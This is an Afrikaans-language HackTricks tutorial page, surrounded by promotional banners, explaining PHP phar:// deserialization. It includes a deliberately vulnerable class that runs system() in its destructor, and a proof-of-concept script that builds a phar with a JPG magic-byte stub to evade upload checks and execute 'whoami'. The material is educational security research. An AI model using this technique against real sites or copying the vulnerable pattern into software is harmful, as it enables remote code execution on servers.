5.1 KiB
phar:// deserialisasie
Leer AWS hakwerk van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Phar lêers (PHP Archive) lêers bevat meta data in geserializeerde formaat, dus, wanneer dit geïnterpreteer word, word hierdie metadata gedeserializeer en jy kan probeer om 'n deserialisasie kwesbaarheid binne die PHP kode te misbruik.
Die beste ding oor hierdie eienskap is dat hierdie deserialisasie selfs sal plaasvind as PHP funksies gebruik word wat nie PHP-kode evalueer nie, soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize().
Stel jou dus 'n situasie voor waar jy 'n PHP-webwerf kan laat die grootte van 'n willekeurige lêer kry deur die phar://
protokol te gebruik, en binne die kode vind jy 'n klas soortgelyk aan die volgende:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
Jy kan 'n phar-lêer skep wat, wanneer dit gelaai word, hierdie klas misbruik om willekeurige opdragte uit te voer met iets soos:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Merk op hoe die sielkundige bytes van JPG (\xff\xd8\xff
) by die begin van die phar-lêer gevoeg word om moontlike lêer oplaai beperkings te vermy.
Kompileer die test.phar
lêer met:
php --define phar.readonly=0 create_phar.php
En voer die whoami
bevel uit deur misbruik te maak van die kwesbare kode met:
php vuln.php
Verwysings
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
Foutjagtip: teken aan vir Intigriti, 'n premium foutjagplatform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.